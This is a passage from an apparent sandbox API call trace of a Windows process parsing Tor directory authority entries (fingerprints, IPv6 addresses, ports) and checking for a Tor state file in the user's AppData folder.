(_Str1="orport=443", _Str2="hs") returned 1 [0115.819] _strcmpi (_Str1="orport=443", _Str2="no-hs") returned 1 [0115.819] _strcmpi (_Str1="orport=443", _Str2="bridge") returned 1 [0115.819] _strcmpi (_Str1="orport=443", _Str2="no-v2") returned 1 [0115.819] strlen (_Str="orport=") returned 0x7 [0115.819] _strnicmp (_Str1="orport=", _Str="orport=", _MaxCount=0x7) returned 0 [0115.819] _errno () returned 0x9f07d8 [0115.820] strlen (_Str="orport=") returned 0x7 [0115.820] _strnicmp (_Str1="v3ident", _Str="orport=", _MaxCount=0x7) returned 1 [0115.820] strlen (_Str="weight=") returned 0x7 [0115.820] strncmp (_Str1="v3ident", _Str2="weight=", _MaxCount=0x7) returned -1 [0115.820] strlen (_Str="v3ident=") returned 0x8 [0115.820] _strnicmp (_Str1="v3ident=", _Str="v3ident=", _MaxCount=0x8) returned 0 [0115.820] strlen (_Str="14C131DFC5C6F93646BE72FA1401C02A8DF2E8B4") returned 0x28 [0115.820] strlen (_Str="orport=") returned 0x7 [0115.820] _strnicmp (_Str1="ipv6=[2", _Str="orport=", _MaxCount=0x7) returned -1 [0115.820] strlen (_Str="weight=") returned 0x7 [0115.820] strncmp (_Str1="ipv6=[2", _Str2="weight=", _MaxCount=0x7) returned -14 [0115.820] strlen (_Str="v3ident=") returned 0x8 [0115.820] _strnicmp (_Str1="ipv6=[20", _Str="v3ident=", _MaxCount=0x8) returned -1 [0115.820] strlen (_Str="ipv6=") returned 0x5 [0115.820] _strnicmp (_Str1="ipv6=", _Str="ipv6=", _MaxCount=0x5) returned 0 [0115.820] strlen (_Str="[2001:858:2:2:aabb:0:563b:1526]:443") returned 0x23 [0115.820] strlen (_Str="2001:858:2:2:aabb:0:563b:1526]:44") returned 0x21 [0115.820] strlen (_Str="[2001:858:2:2:aabb:0:563b:1526]") returned 0x1f [0115.820] strlen (_Str="2001:858:2:2:aabb:0:563b:1526") returned 0x1d [0115.820] strlen (_Str="") returned 0x0 [0115.820] strlen (_Str="847B") returned 0x4 [0115.820] strlen (_Str="1F85") returned 0x4 [0115.820] strlen (_Str="0344") returned 0x4 [0115.820] strlen (_Str="D787") returned 0x4 [0115.820] strlen (_Str="6491") returned 0x4 [0115.820] strlen (_Str="A548") returned 0x4 [0115.820] strlen (_Str="92F9") returned 0x4 [0115.820] strlen (_Str="0493") returned 0x4 [0115.820] strlen (_Str="4E4E") returned 0x4 [0115.820] strlen (_Str="B85D") returned 0x4 [0115.820] strlen (_Str="847B1F850344D7876491A54892F904934E4EB85D") returned 0x28 [0115.820] htonl (hostlong=0x563b1526) returned 0x26153b56 [0115.820] htonl (hostlong=0x26153b56) returned 0x563b1526 [0115.820] htonl (hostlong=0x563b1526) returned 0x26153b56 [0115.820] htonl (hostlong=0x26153b56) returned 0x563b1526 [0115.820] strlen (_Str="dizum") returned 0x5 [0115.820] strspn (_Str="dizum", _Control="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") returned 0x5 [0115.820] _strcmpi (_Str1="orport=443", _Str2="hs") returned 1 [0115.820] _strcmpi (_Str1="orport=443", _Str2="no-hs") returned 1 [0115.820] _strcmpi (_Str1="orport=443", _Str2="bridge") returned 1 [0115.820] _strcmpi (_Str1="orport=443", _Str2="no-v2") returned 1 [0115.820] strlen (_Str="orport=") returned 0x7 [0115.820] _strnicmp (_Str1="orport=", _Str="orport=", _MaxCount=0x7) returned 0 [0115.820] _errno () returned 0x9f07d8 [0115.821] strlen (_Str="orport=") returned 0x7 [0115.821] _strnicmp (_Str1="v3ident", _Str="orport=", _MaxCount=0x7) returned 1 [0115.821] strlen (_Str="weight=") returned 0x7 [0115.821] strncmp (_Str1="v3ident", _Str2="weight=", _MaxCount=0x7) returned -1 [0115.821] strlen (_Str="v3ident=") returned 0x8 [0115.821] _strnicmp (_Str1="v3ident=", _Str="v3ident=", _MaxCount=0x8) returned 0 [0115.821] strlen (_Str="E8A9C45EDE6D711294FADF8E7951F4DE6CA56B58") returned 0x28 [0115.821] strlen (_Str="") returned 0x0 [0115.821] strlen (_Str="7EA6") returned 0x4 [0115.821] strlen (_Str="EAD6") returned 0x4 [0115.821] strlen (_Str="FD83") returned 0x4 [0115.821] strlen (_Str="083C") returned 0x4 [0115.821] strlen (_Str="538F") returned 0x4 [0115.821] strlen (_Str="4403") returned 0x4 [0115.821] strlen (_Str="8BBF") returned 0x4 [0115.821] strlen (_Str="A077") returned 0x4 [0115.821] strlen (_Str="587D") returned 0x4 [0115.821] strlen (_Str="D755") returned 0x4 [0115.821] strlen (_Str="7EA6EAD6FD83083C538F44038BBFA077587DD755") returned 0x28 [0115.821] htonl (hostlong=0xc26dced4) returned 0xd4ce6dc2 [0115.821] htonl (hostlong=0xd4ce6dc2) returned 0xc26dced4 [0115.821] htonl (hostlong=0xc26dced4) returned 0xd4ce6dc2 [0115.821] htonl (hostlong=0xd4ce6dc2) returned 0xc26dced4 [0115.821] strlen (_Str="Bifroest") returned 0x8 [0115.821] strspn (_Str="Bifroest", _Control="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") returned 0x8 [0115.821] _strcmpi (_Str1="orport=443", _Str2="hs") returned 1 [0115.821] _strcmpi (_Str1="orport=443", _Str2="no-hs") returned 1 [0115.821] _strcmpi (_Str1="orport=443", _Str2="bridge") returned 1 [0115.821] _strcmpi (_Str1="orport=443", _Str2="no-v2") returned 1 [0115.821] strlen (_Str="orport=") returned 0x7 [0115.821] _strnicmp (_Str1="orport=", _Str="orport=", _MaxCount=0x7) returned 0 [0115.821] _errno () returned 0x9f07d8 [0115.821] strlen (_Str="") returned 0x0 [0115.821] strlen (_Str="1D8F") returned 0x4 [0115.821] strlen (_Str="3A91") returned 0x4 [0115.821] strlen (_Str="C37C") returned 0x4 [0115.821] strlen (_Str="5D1C") returned 0x4 [0115.821] strlen (_Str="4C19") returned 0x4 [0115.821] strlen (_Str="B1AD") returned 0x4 [0115.821] strlen (_Str="1D0C") returned 0x4 [0115.821] strlen (_Str="FBE8") returned 0x4 [0115.821] strlen (_Str="BF72") returned 0x4 [0115.821] strlen (_Str="D8E1") returned 0x4 [0115.821] strlen (_Str="1D8F3A91C37C5D1C4C19B1AD1D0CFBE8BF72D8E1") returned 0x28 [0115.821] htonl (hostlong=0x25daf7d9) returned 0xd9f7da25 [0115.821] htonl (hostlong=0xd9f7da25) returned 0x25daf7d9 [0115.821] htonl (hostlong=0x25daf7d9) returned 0xd9f7da25 [0115.821] htonl (hostlong=0xd9f7da25) returned 0x25daf7d9 [0115.822] strlen (_Str="gabelmoo") returned 0x8 [0115.822] strspn (_Str="gabelmoo", _Control="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") returned 0x8 [0115.822] _strcmpi (_Str1="orport=443", _Str2="hs") returned 1 [0115.822] _strcmpi (_Str1="orport=443", _Str2="no-hs") returned 1 [0115.822] _strcmpi (_Str1="orport=443", _Str2="bridge") returned 1 [0115.822] _strcmpi (_Str1="orport=443", _Str2="no-v2") returned 1 [0115.822] strlen (_Str="orport=") returned 0x7 [0115.822] _strnicmp (_Str1="orport=", _Str="orport=", _MaxCount=0x7) returned 0 [0115.822] _errno () returned 0x9f07d8 [0115.822] strlen (_Str="orport=") returned 0x7 [0115.822] _strnicmp (_Str1="v3ident", _Str="orport=", _MaxCount=0x7) returned 1 [0115.822] strlen (_Str="weight=") returned 0x7 [0115.822] strncmp (_Str1="v3ident", _Str2="weight=", _MaxCount=0x7) returned -1 [0115.822] strlen (_Str="v3ident=") returned 0x8 [0115.822] _strnicmp (_Str1="v3ident=", _Str="v3ident=", _MaxCount=0x8) returned 0 [0115.822] strlen (_Str="ED03BB616EB2F60BEC80151114BB25CEF515B226") returned 0x28 [0115.822] strlen (_Str="orport=") returned 0x7 [0115.822] _strnicmp (_Str1="ipv6=[2", _Str="orport=", _MaxCount=0x7) returned -1 [0115.822] strlen (_Str="weight=") returned 0x7 [0115.822] strncmp (_Str1="ipv6=[2", _Str2="weight=", _MaxCount=0x7) returned -14 [0115.822] strlen (_Str="v3ident=") returned 0x8 [0115.822] _strnicmp (_Str1="ipv6=[20", _Str="v3ident=", _MaxCount=0x8) returned -1 [0115.822] strlen (_Str="ipv6=") returned 0x5 [0115.822] _strnicmp (_Str1="ipv6=", _Str="ipv6=", _MaxCount=0x5) returned 0 [0115.822] strlen (_Str="[2001:638:a000:4140::ffff:189]:443") returned 0x22 [0115.822] strlen (_Str="2001:638:a000:4140::ffff:189]:44") returned 0x20 [0115.822] strtol (in: _Str="2001:638:a000:4140::ffff:189]:44", _EndPtr=0x36f270, _Radix=16 | out: _EndPtr=0x36f270*=":638:a000:4140::ffff:189]:44") returned 8193 [0115.822] strtol (in: _Str="638:a000:4140::ffff:189]:44", _EndPtr=0x36f270, _Radix=16 | out: _EndPtr=0x36f270*=":a000:4140::ffff:189]:44") returned 1592 [0115.822] strtol (in: _Str="a000:4140::ffff:189]:44", _EndPtr=0x36f270, _Radix=16 | out: _EndPtr=0x36f270*=":4140::ffff:189]:44") returned 40960 [0115.822] strtol (in: _Str="4140::ffff:189]:44", _EndPtr=0x36f270, _Radix=16 | out: _EndPtr=0x36f270*="::ffff:189]:44") returned 16704 [0115.822] strtol (in: _Str="ffff:189]:44", _EndPtr=0x36f270, _Radix=16 | out: _EndPtr=0x36f270*=":189]:44") returned 65535 [0115.822] strtol (in: _Str="189]:44", _EndPtr=0x36f270, _Radix=16 | out: _EndPtr=0x36f270*="]:44") returned 393 [0115.822] strtol (in: _Str="443", _EndPtr=0x36f284, _Radix=10 | out: _EndPtr=0x36f284*="") returned 443 [0115.822] _errno () returned 0x9f07d8 [0115.822] strlen (_Str="[2001:638:a000:4140::ffff:189]") returned 0x1e [0115.822] strlen (_Str="2001:638:a000:4140::ffff:189") returned 0x1c [0115.822] strtol (in: _Str="2001:638:a000:4140::ffff:189", _EndPtr=0x36f2d0, _Radix=16 | out: _EndPtr=0x36f2d0*=":638:a000:4140::ffff:189") returned 8193 [0115.822] strtol (in: _Str="638:a000:4140::ffff:189", _EndPtr=0x36f2d0, _Radix=16 | out: _EndPtr=0x36f2d0*=":a000:4140::ffff:189") returned 1592 [0115.822] strtol (in: _Str="a000:4140::ffff:189", _EndPtr=0x36f2d0, _Radix=16 | out: _EndPtr=0x36f2d0*=":4140::ffff:189") returned 40960 [0115.822] strtol (in: _Str="4140::ffff:189", _EndPtr=0x36f2d0, _Radix=16 | out: _EndPtr=0x36f2d0*="::ffff:189") returned 16704 [0115.822] strtol (in: _Str="ffff:189", _EndPtr=0x36f2d0, _Radix=16 | out: _EndPtr=0x36f2d0*=":189") returned 65535 [0115.823] strtol (in: _Str="189", _EndPtr=0x36f2d0, _Radix=16 | out: _EndPtr=0x36f2d0*="") returned 393 [0115.823] strtol (in: _Str="80", _EndPtr=0x36f334, _Radix=10 | out: _EndPtr=0x36f334*="") returned 80 [0115.823] _errno () returned 0x9f07d8 [0115.823] strlen (_Str="") returned 0x0 [0115.823] strlen (_Str="F204") returned 0x4 [0115.823] strlen (_Str="4413") returned 0x4 [0115.823] strlen (_Str="DAC2") returned 0x4 [0115.823] strlen (_Str="E02E") returned 0x4 [0115.823] strlen (_Str="3D6B") returned 0x4 [0115.823] strlen (_Str="CF47") returned 0x4 [0115.823] strlen (_Str="35A1") returned 0x4 [0115.823] strlen (_Str="9BCA") returned 0x4 [0115.823] strlen (_Str="1DE9") returned 0x4 [0115.823] strlen (_Str="7281") returned 0x4 [0115.823] strlen (_Str="F2044413DAC2E02E3D6BCF4735A19BCA1DE97281") returned 0x28 [0115.823] htonl (hostlong=0x83bc28bd) returned 0xbd28bc83 [0115.823] htonl (hostlong=0xbd28bc83) returned 0x83bc28bd [0115.823] htonl (hostlong=0x83bc28bd) returned 0xbd28bc83 [0115.823] htonl (hostlong=0xbd28bc83) returned 0x83bc28bd [0115.823] strlen (_Str="dannenberg") returned 0xa [0115.823] strspn (_Str="dannenberg", _Control="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") returned 0xa [0115.823] _strcmpi (_Str1="orport=443", _Str2="hs") returned 1 [0115.823] _strcmpi (_Str1="orport=443", _Str2="no-hs") returned 1 [0115.823] _strcmpi (_Str1="orport=443", _Str2="bridge") returned 1 [0115.823] _strcmpi (_Str1="orport=443", _Str2="no-v2") returned 1 [0115.823] strlen (_Str="orport=") returned 0x7 [0115.823] _strnicmp (_Str1="orport=", _Str="orport=", _MaxCount=0x7) returned 0 [0115.823] _errno () returned 0x9f07d8 [0115.823] strtol (in: _Str="443", _EndPtr=0x36f3a4, _Radix=10 | out: _EndPtr=0x36f3a4*="") returned 443 [0115.823] _errno () returned 0x9f07d8 [0115.823] strlen (_Str="orport=") returned 0x7 [0115.823] _strnicmp (_Str1="v3ident", _Str="orport=", _MaxCount=0x7) returned 1 [0115.823] strlen (_Str="weight=") returned 0x7 [0115.823] strncmp (_Str1="v3ident", _Str2="weight=", _MaxCount=0x7) returned -1 [0115.823] strlen (_Str="v3ident=") returned 0x8 [0115.823] _strnicmp (_Str1="v3ident=", _Str="v3ident=", _MaxCount=0x8) returned 0 [0115.823] strlen (_Str="0232AF901C31A04EE9848595AF9BB7620D4C5B2E") returned 0x28 [0115.823] strtol (in: _Str="80", _EndPtr=0x36f334, _Radix=10 | out: _EndPtr=0x36f334*="") returned 80 [0115.823] _errno () returned 0x9f07d8 [0115.823] strlen (_Str="") returned 0x0 [0115.823] strlen (_Str="7BE6") returned 0x4 [0115.823] strlen (_Str="83E6") returned 0x4 [0115.823] strlen (_Str="5D48") returned 0x4 [0115.823] strlen (_Str="1413") returned 0x4 [0115.823] strlen (_Str="21C5") returned 0x4 [0115.823] strlen (_Str="ED92") returned 0x4 [0115.823] strlen (_Str="F075") returned 0x4 [0115.824] strlen (_Str="C553") returned 0x4 [0115.824] strlen (_Str="64AC") returned 0x4 [0115.824] strlen (_Str="7123") returned 0x4 [0115.824] strlen (_Str="7BE683E65D48141321C5ED92F075C55364AC7123") returned 0x28 [0115.824] htonl (hostlong=0xc117f4f4) returned 0xf4f417c1 [0115.824] htonl (hostlong=0xf4f417c1) returned 0xc117f4f4 [0115.824] htonl (hostlong=0xc117f4f4) returned 0xf4f417c1 [0115.824] htonl (hostlong=0xf4f417c1) returned 0xc117f4f4 [0115.824] strlen (_Str="maatuska") returned 0x8 [0115.824] strspn (_Str="maatuska", _Control="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") returned 0x8 [0115.824] _strcmpi (_Str1="orport=80", _Str2="hs") returned 1 [0115.824] _strcmpi (_Str1="orport=80", _Str2="no-hs") returned 1 [0115.824] _strcmpi (_Str1="orport=80", _Str2="bridge") returned 1 [0115.824] _strcmpi (_Str1="orport=80", _Str2="no-v2") returned 1 [0115.824] strlen (_Str="orport=") returned 0x7 [0115.824] _strnicmp (_Str1="orport=", _Str="orport=", _MaxCount=0x7) returned 0 [0115.824] _errno () returned 0x9f07d8 [0115.824] strtol (in: _Str="80", _EndPtr=0x36f3a4, _Radix=10 | out: _EndPtr=0x36f3a4*="") returned 80 [0115.824] _errno () returned 0x9f07d8 [0115.824] strlen (_Str="orport=") returned 0x7 [0115.824] _strnicmp (_Str1="v3ident", _Str="orport=", _MaxCount=0x7) returned 1 [0115.824] strlen (_Str="weight=") returned 0x7 [0115.824] strncmp (_Str1="v3ident", _Str2="weight=", _MaxCount=0x7) returned -1 [0115.824] strlen (_Str="v3ident=") returned 0x8 [0115.824] _strnicmp (_Str1="v3ident=", _Str="v3ident=", _MaxCount=0x8) returned 0 [0115.824] strlen (_Str="49015F787433103580E3B66A1707A00E60F2D15B") returned 0x28 [0115.824] strlen (_Str="orport=") returned 0x7 [0115.824] _strnicmp (_Str1="ipv6=[2", _Str="orport=", _MaxCount=0x7) returned -1 [0115.824] strlen (_Str="weight=") returned 0x7 [0115.824] strncmp (_Str1="ipv6=[2", _Str2="weight=", _MaxCount=0x7) returned -14 [0115.824] strlen (_Str="v3ident=") returned 0x8 [0115.824] _strnicmp (_Str1="ipv6=[20", _Str="v3ident=", _MaxCount=0x8) returned -1 [0115.824] strlen (_Str="ipv6=") returned 0x5 [0115.824] _strnicmp (_Str1="ipv6=", _Str="ipv6=", _MaxCount=0x5) returned 0 [0115.824] strlen (_Str="[2001:67c:289c::9]:80") returned 0x15 [0115.824] strlen (_Str="2001:67c:289c::9]:8") returned 0x13 [0115.824] strtol (in: _Str="2001:67c:289c::9]:8", _EndPtr=0x36f270, _Radix=16 | out: _EndPtr=0x36f270*=":67c:289c::9]:8") returned 8193 [0115.824] strtol (in: _Str="67c:289c::9]:8", _EndPtr=0x36f270, _Radix=16 | out: _EndPtr=0x36f270*=":289c::9]:8") returned 1660 [0115.824] strtol (in: _Str="289c::9]:8", _EndPtr=0x36f270, _Radix=16 | out: _EndPtr=0x36f270*="::9]:8") returned 10396 [0115.824] strtol (in: _Str="9]:8", _EndPtr=0x36f270, _Radix=16 | out: _EndPtr=0x36f270*="]:8") returned 9 [0115.824] strtol (in: _Str="80", _EndPtr=0x36f284, _Radix=10 | out: _EndPtr=0x36f284*="") returned 80 [0115.824] _errno () returned 0x9f07d8 [0115.824] strlen (_Str="[2001:67c:289c::9]") returned 0x12 [0115.824] strlen (_Str="2001:67c:289c::9") returned 0x10 [0115.825] strtol (in: _Str="2001:67c:289c::9", _EndPtr=0x36f2d0, _Radix=16 | out: _EndPtr=0x36f2d0*=":67c:289c::9") returned 8193 [0115.825] strtol (in: _Str="67c:289c::9", _EndPtr=0x36f2d0, _Radix=16 | out: _EndPtr=0x36f2d0*=":289c::9") returned 1660 [0115.825] strtol (in: _Str="289c::9", _EndPtr=0x36f2d0, _Radix=16 | out: _EndPtr=0x36f2d0*="::9") returned 10396 [0115.825] strtol (in: _Str="9", _EndPtr=0x36f2d0, _Radix=16 | out: _EndPtr=0x36f2d0*="") returned 9 [0115.825] strtol (in: _Str="443", _EndPtr=0x36f334, _Radix=10 | out: _EndPtr=0x36f334*="") returned 443 [0115.825] _errno () returned 0x9f07d8 [0115.825] strlen (_Str="") returned 0x0 [0115.825] strlen (_Str="BD6A") returned 0x4 [0115.825] strlen (_Str="8292") returned 0x4 [0115.825] strlen (_Str="55CB") returned 0x4 [0115.825] strlen (_Str="08E6") returned 0x4 [0115.825] strlen (_Str="6FBE") returned 0x4 [0115.825] strlen (_Str="7D37") returned 0x4 [0115.825] strlen (_Str="4836") returned 0x4 [0115.825] strlen (_Str="3586") returned 0x4 [0115.825] strlen (_Str="E46B") returned 0x4 [0115.825] strlen (_Str="3810") returned 0x4 [0115.825] strlen (_Str="BD6A829255CB08E66FBE7D3748363586E46B3810") returned 0x28 [0115.825] htonl (hostlong=0xab19c109) returned 0x9c119ab [0115.825] htonl (hostlong=0x9c119ab) returned 0xab19c109 [0115.825] htonl (hostlong=0xab19c109) returned 0x9c119ab [0115.825] htonl (hostlong=0x9c119ab) returned 0xab19c109 [0115.825] strlen (_Str="Faravahar") returned 0x9 [0115.825] strspn (_Str="Faravahar", _Control="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") returned 0x9 [0115.825] _strcmpi (_Str1="orport=443", _Str2="hs") returned 1 [0115.825] _strcmpi (_Str1="orport=443", _Str2="no-hs") returned 1 [0115.825] _strcmpi (_Str1="orport=443", _Str2="bridge") returned 1 [0115.825] _strcmpi (_Str1="orport=443", _Str2="no-v2") returned 1 [0115.825] strlen (_Str="orport=") returned 0x7 [0115.825] _strnicmp (_Str1="orport=", _Str="orport=", _MaxCount=0x7) returned 0 [0115.825] _errno () returned 0x9f07d8 [0115.825] strtol (in: _Str="443", _EndPtr=0x36f3a4, _Radix=10 | out: _EndPtr=0x36f3a4*="") returned 443 [0115.825] _errno () returned 0x9f07d8 [0115.825] strlen (_Str="orport=") returned 0x7 [0115.825] _strnicmp (_Str1="v3ident", _Str="orport=", _MaxCount=0x7) returned 1 [0115.825] strlen (_Str="weight=") returned 0x7 [0115.825] strncmp (_Str1="v3ident", _Str2="weight=", _MaxCount=0x7) returned -1 [0115.825] strlen (_Str="v3ident=") returned 0x8 [0115.825] _strnicmp (_Str1="v3ident=", _Str="v3ident=", _MaxCount=0x8) returned 0 [0115.825] strlen (_Str="EFCBE720AB3A82B99F9E953CD5BF50F7EEFC7B97") returned 0x28 [0115.825] strtol (in: _Str="80", _EndPtr=0x36f334, _Radix=10 | out: _EndPtr=0x36f334*="") returned 80 [0115.825] _errno () returned 0x9f07d8 [0115.825] strlen (_Str="") returned 0x0 [0115.825] strlen (_Str="CF6D") returned 0x4 [0115.825] strlen (_Str="0AAF") returned 0x4 [0115.825] strlen (_Str="B385") returned 0x4 [0115.825] strlen (_Str="BE71") returned 0x4 [0115.825] strlen (_Str="B8E1") returned 0x4 [0115.825] strlen (_Str="11FC") returned 0x4 [0115.826] strlen (_Str="5CFF") returned 0x4 [0115.826] strlen (_Str="4B47") returned 0x4 [0115.826] strlen (_Str="9237") returned 0x4 [0115.826] strlen (_Str="33BC") returned 0x4 [0115.826] strlen (_Str="CF6D0AAFB385BE71B8E111FC5CFF4B47923733BC") returned 0x28 [0115.826] htonl (hostlong=0x9a23afe1) returned 0xe1af239a [0115.826] htonl (hostlong=0xe1af239a) returned 0x9a23afe1 [0115.826] htonl (hostlong=0x9a23afe1) returned 0xe1af239a [0115.826] htonl (hostlong=0xe1af239a) returned 0x9a23afe1 [0115.826] strlen (_Str="longclaw") returned 0x8 [0115.826] strspn (_Str="longclaw", _Control="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") returned 0x8 [0115.826] _strcmpi (_Str1="orport=443", _Str2="hs") returned 1 [0115.826] _strcmpi (_Str1="orport=443", _Str2="no-hs") returned 1 [0115.826] _strcmpi (_Str1="orport=443", _Str2="bridge") returned 1 [0115.826] _strcmpi (_Str1="orport=443", _Str2="no-v2") returned 1 [0115.826] strlen (_Str="orport=") returned 0x7 [0115.826] _strnicmp (_Str1="orport=", _Str="orport=", _MaxCount=0x7) returned 0 [0115.826] _errno () returned 0x9f07d8 [0115.826] strtol (in: _Str="443", _EndPtr=0x36f3a4, _Radix=10 | out: _EndPtr=0x36f3a4*="") returned 443 [0115.826] _errno () returned 0x9f07d8 [0115.826] strlen (_Str="orport=") returned 0x7 [0115.826] _strnicmp (_Str1="v3ident", _Str="orport=", _MaxCount=0x7) returned 1 [0115.826] strlen (_Str="weight=") returned 0x7 [0115.826] strncmp (_Str1="v3ident", _Str2="weight=", _MaxCount=0x7) returned -1 [0115.826] strlen (_Str="v3ident=") returned 0x8 [0115.826] _strnicmp (_Str1="v3ident=", _Str="v3ident=", _MaxCount=0x8) returned 0 [0115.826] strlen (_Str="23D15D965BC35114467363C165C4F724B64B4F66") returned 0x28 [0115.826] strlen (_Str="orport=") returned 0x7 [0115.826] _strnicmp (_Str1="ipv6=[2", _Str="orport=", _MaxCount=0x7) returned -1 [0115.826] strlen (_Str="weight=") returned 0x7 [0115.826] strncmp (_Str1="ipv6=[2", _Str2="weight=", _MaxCount=0x7) returned -14 [0115.826] strlen (_Str="v3ident=") returned 0x8 [0115.826] _strnicmp (_Str1="ipv6=[26", _Str="v3ident=", _MaxCount=0x8) returned -1 [0115.826] strlen (_Str="ipv6=") returned 0x5 [0115.826] _strnicmp (_Str1="ipv6=", _Str="ipv6=", _MaxCount=0x5) returned 0 [0115.826] strlen (_Str="[2620:13:4000:8000:60:f3ff:fea1:7cff]:443") returned 0x29 [0115.826] strlen (_Str="2620:13:4000:8000:60:f3ff:fea1:7cff]:44") returned 0x27 [0115.826] strtol (in: _Str="2620:13:4000:8000:60:f3ff:fea1:7cff]:44", _EndPtr=0x36f270, _Radix=16 | out: _EndPtr=0x36f270*=":13:4000:8000:60:f3ff:fea1:7cff]:44") returned 9760 [0115.826] strtol (in: _Str="13:4000:8000:60:f3ff:fea1:7cff]:44", _EndPtr=0x36f270, _Radix=16 | out: _EndPtr=0x36f270*=":4000:8000:60:f3ff:fea1:7cff]:44") returned 19 [0115.826] strtol (in: _Str="4000:8000:60:f3ff:fea1:7cff]:44", _EndPtr=0x36f270, _Radix=16 | out: _EndPtr=0x36f270*=":8000:60:f3ff:fea1:7cff]:44") returned 16384 [0115.826] strtol (in: _Str="8000:60:f3ff:fea1:7cff]:44", _EndPtr=0x36f270, _Radix=16 | out: _EndPtr=0x36f270*=":60:f3ff:fea1:7cff]:44") returned 32768 [0115.826] strtol (in: _Str="60:f3ff:fea1:7cff]:44", _EndPtr=0x36f270, _Radix=16 | out: _EndPtr=0x36f270*=":f3ff:fea1:7cff]:44") returned 96 [0115.826] strtol (in: _Str="f3ff:fea1:7cff]:44", _EndPtr=0x36f270, _Radix=16 | out: _EndPtr=0x36f270*=":fea1:7cff]:44") returned 62463 [0115.826] strtol (in: _Str="fea1:7cff]:44", _EndPtr=0x36f270, _Radix=16 | out: _EndPtr=0x36f270*=":7cff]:44") returned 65185 [0115.826] strtol (in: _Str="7cff]:44", _EndPtr=0x36f270, _Radix=16 | out: _EndPtr=0x36f270*="]:44") returned 31999 [0115.826] strtol (in: _Str="443", _EndPtr=0x36f284, _Radix=10 | out: _EndPtr=0x36f284*="") returned 443 [0115.827] _errno () returned 0x9f07d8 [0115.827] strlen (_Str="[2620:13:4000:8000:60:f3ff:fea1:7cff]") returned 0x25 [0115.827] strlen (_Str="2620:13:4000:8000:60:f3ff:fea1:7cff") returned 0x23 [0115.827] strtol (in: _Str="2620:13:4000:8000:60:f3ff:fea1:7cff", _EndPtr=0x36f2d0, _Radix=16 | out: _EndPtr=0x36f2d0*=":13:4000:8000:60:f3ff:fea1:7cff") returned 9760 [0115.827] strtol (in: _Str="13:4000:8000:60:f3ff:fea1:7cff", _EndPtr=0x36f2d0, _Radix=16 | out: _EndPtr=0x36f2d0*=":4000:8000:60:f3ff:fea1:7cff") returned 19 [0115.827] strtol (in: _Str="4000:8000:60:f3ff:fea1:7cff", _EndPtr=0x36f2d0, _Radix=16 | out: _EndPtr=0x36f2d0*=":8000:60:f3ff:fea1:7cff") returned 16384 [0115.827] strtol (in: _Str="8000:60:f3ff:fea1:7cff", _EndPtr=0x36f2d0, _Radix=16 | out: _EndPtr=0x36f2d0*=":60:f3ff:fea1:7cff") returned 32768 [0115.827] strtol (in: _Str="60:f3ff:fea1:7cff", _EndPtr=0x36f2d0, _Radix=16 | out: _EndPtr=0x36f2d0*=":f3ff:fea1:7cff") returned 96 [0115.827] strtol (in: _Str="f3ff:fea1:7cff", _EndPtr=0x36f2d0, _Radix=16 | out: _EndPtr=0x36f2d0*=":fea1:7cff") returned 62463 [0115.827] strtol (in: _Str="fea1:7cff", _EndPtr=0x36f2d0, _Radix=16 | out: _EndPtr=0x36f2d0*=":7cff") returned 65185 [0115.827] strtol (in: _Str="7cff", _EndPtr=0x36f2d0, _Radix=16 | out: _EndPtr=0x36f2d0*="") returned 31999 [0115.827] strtol (in: _Str="80", _EndPtr=0x36f334, _Radix=10 | out: _EndPtr=0x36f334*="") returned 80 [0115.827] _errno () returned 0x9f07d8 [0115.827] strlen (_Str="") returned 0x0 [0115.827] strlen (_Str="74A9") returned 0x4 [0115.827] strlen (_Str="1064") returned 0x4 [0115.827] strlen (_Str="6BCE") returned 0x4 [0115.827] strlen (_Str="EFBC") returned 0x4 [0115.827] strlen (_Str="D2E8") returned 0x4 [0115.827] strlen (_Str="74FC") returned 0x4 [0115.827] strlen (_Str="1DC9") returned 0x4 [0115.827] strlen (_Str="9743") returned 0x4 [0115.827] strlen (_Str="0F96") returned 0x4 [0115.827] strlen (_Str="8145") returned 0x4 [0115.827] strlen (_Str="74A910646BCEEFBCD2E874FC1DC997430F968145") returned 0x28 [0115.827] htonl (hostlong=0xc7feee34) returned 0x34eefec7 [0115.827] htonl (hostlong=0x34eefec7) returned 0xc7feee34 [0115.827] htonl (hostlong=0xc7feee34) returned 0x34eefec7 [0115.827] htonl (hostlong=0x34eefec7) returned 0xc7feee34 [0115.827] strlen (_Str="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor") returned 0x2b [0115.827] strlen (_Str="state") returned 0x5 [0115.827] strlen (_Str="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\state") returned 0x31 [0115.827] _stati64 (in: _Name="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\state", _Stat=0x36f498 | out: _Stat=0x36f498) returned -1 [0115.828] strlen (_Str="BWHistoryReadInterval") returned 0x15 [0115.828] _strcmpi (_Str1="BWHistoryReadInterval", _Str2="AccountingBytesReadInInterval") returned 1 [0115.828] _strcmpi (_Str1="BWHistoryReadInterval", _Str2="AccountingBytesWrittenInInterval") returned 1 [0115.828] _strcmpi (_Str1="BWHistoryReadInterval", _Str2="AccountingExpectedUsage") returned 1 [0115.828] _strcmpi (_Str1="BWHistoryReadInterval", _Str2="AccountingIntervalStart") returned 1 [0115.828] _strcmpi (_Str1="BWHistoryReadInterval", _Str2="AccountingSecondsActive") returned 1 [0115.828] _strcmpi (_Str1="BWHistoryReadInterval", _Str2="AccountingSecondsToReachSoftLimit") returned 1 [0115.828] _strcmpi (_Str1="BWHistoryReadInterval", _Str2="AccountingSoftLimitHitAt") returned 1 [0115.828] _strcmpi (_Str1="BWHistoryReadInterval", _Str2="AccountingBytesAtSoftLimit") returned 1 [0115.828] _strcmpi (_Str1="BWHistoryReadInterval", _Str2="EntryGuard") returned -1 [0115.828] _strcmpi (_Str1="BWHistoryReadInterval", _Str2="EntryGuardDownSince") returned -1 [0115.828] 